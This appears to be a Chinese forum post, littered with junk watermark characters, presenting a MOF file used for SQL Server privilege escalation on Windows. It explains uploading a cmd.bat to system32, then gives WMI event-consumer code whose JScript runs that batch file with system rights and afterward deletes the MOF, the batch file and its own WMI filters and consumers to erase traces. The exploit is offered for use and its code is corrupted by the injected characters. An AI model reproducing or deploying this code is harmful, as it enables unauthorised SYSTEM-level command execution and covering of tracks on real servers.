这个sql提权MOF需要运行 system下的文件,不能定义路径。6 D1 i' z7 J- X+ K
需要将要运行的命令写入到bat上传到system32目录,然后执行。) o" D. t/ S1 `/ H+ v
. ?2 n% _" {2 F3 F( h这个sql提权MOF需要运行 system下的文件,不能定义路径。
o3 ?7 l8 F8 U% C+ v: O需要将要运行的命令写入到bat上传到system32目录,然后执行。3 B! W6 }" o3 s: k- E2 Y
* U# A! q/ j" o2 _#pragma
8 g% l! a8 ~" N namespace("\\\\.\\root\\cimv2")
# Z% s! s0 N- K: Q% U class* H; z: K" R- g5 Y! i0 j
MyClass547
. X/ e4 }2 u9 {' K+ `2 r0 n { [key]
8 M0 E4 l! p3 R+ t. k string
7 h0 K9 O2 v: q) f8 ]$ X; s Name;
9 }9 U. n- ~ D, x8 |9 J7 I };
( R- I+ E# v! ?2 P class; j _. _8 A6 W$ y) l r8 T
ActiveScriptEventConsumer0 a# ?! Q, f. _8 r5 J% f4 Z) ?( ?
: __EventConsumer { [key]
+ J3 a3 L. G7 n9 S0 o) n- }1 @: N string' u* `% q" c2 `4 K1 m+ s7 Y
Name; [not_null]
5 C5 t& w ?8 y. V, n string
o" ^! I" I* w6 [ ScriptingEngine; string+ ^5 K* n- F5 T5 a4 _/ a
ScriptFileName; [template]
9 f2 P$ j( e$ U+ C2 M0 l/ p4 L6 | string
3 i3 W* Q, K; F: f" m, n ScriptText; uint32 KillTimeout;. F9 P4 d0 f, A8 m# u
}; instance of __Win32Provider as $P {5 Z: @+ s" n5 x9 D
Name. ]( q' v: g* E
=: v8 k. G2 | ?) {: }' ~3 b
"ActiveScriptEventConsumer"; CLSID =
/ i+ H9 H/ A- K# c+ W "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";6 \6 O3 E& ^! v# v" \
PerUserInitialization! n0 N* w8 c5 J1 N
= TRUE;
, U9 g2 `' D+ ]6 Q# d* k& p }; instance of __EventConsumerProviderRegistration { Provider! }0 s# E5 X7 M: Y
= $P; ConsumerClassNames- s6 a0 @/ y9 L6 A" p; Y, }; {
=
7 Y% ^4 m9 N! z {"ActiveScriptEventConsumer"};
# h5 W* l( f! _/ b };. W; Z Z/ S, E7 A
Instance of ActiveScriptEventConsumer
* c9 t4 M q4 u& Q as $cons { Name+ W; J, ~4 B3 W: x! J
=( j) `1 G9 Q2 Y/ a: ?& W
"ASEC"; ScriptingEngine
# g, o- T2 \, F$ `& \ =6 I8 J1 c& D! b% l+ h+ E, t: F
"JScript"; ScriptText" P* Y% Z7 b' a: u+ z
=: J* r G6 p# Y: \/ b
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };! I& l; r5 b" f& S6 u4 `) h" f( D
Instance of ActiveScriptEventConsumer% w8 W' {6 p. ]; z' S
as $cons2 { Name
9 E: ~4 r$ E7 s) A0 u) d! ? =: J" T2 E$ O. Z" o- }
"qndASEC"; ScriptingEngine1 m* D! w; b# {
=9 s2 s$ w. X+ I( Q+ e* f X5 x
"JScript"; ScriptText7 h$ y& ]$ s" Q- A
=: U4 e, X) f4 _' W
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
7 l$ D K* G3 b4 z f( x }; instance of __EventFilter as $Filt { Name4 P7 F- Z* v3 R9 Z v. u
=
8 j+ U- d' \ |3 m4 o7 q1 z "instfilt"; Query
0 i+ g1 U3 W. l =
7 x1 F0 n) Y* I# I; m) v% G" m "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
$ r( T# O" Q4 n/ Y+ X! P2 e; a4 p& N =
+ a4 X' N- }8 h7 v' L "WQL"; }; instance of __EventFilter as $Filt2 { Name+ u+ @/ ?! n& `$ Z$ \
=$ K; {- q: R5 f. j4 S' H N
"qndfilt"; Query
2 t/ ]0 q) s2 R6 T =
0 U: b' ?! t/ Z0 K! x; C7 G( R "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
. a0 G @& ]1 B3 W =! S1 a0 y* I: c9 o( O5 H5 k# g
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer( x1 w, ?$ n0 y2 ]
= $cons; Filter
% z* }4 {4 |: J( D$ J I8 V = $Filt;+ O3 `; c4 o0 o# L
}; instance of __FilterToConsumerBinding as $bind2 { Consumer4 K0 t* K7 H" T5 C' P$ {, O: T
= $cons2; Filter) C- t; b# m1 h
= $Filt2;
$ w2 k" y' C/ m9 Z7 h0 ` }; instance of MyClass547
: f6 e; s2 v( x as $MyClass { Name
% u& l* }! z, _9 }4 h1 _. D =
; Z3 I2 X1 _7 h2 { "ClassConsumer";% D; w0 L0 ~; \- ^
}; |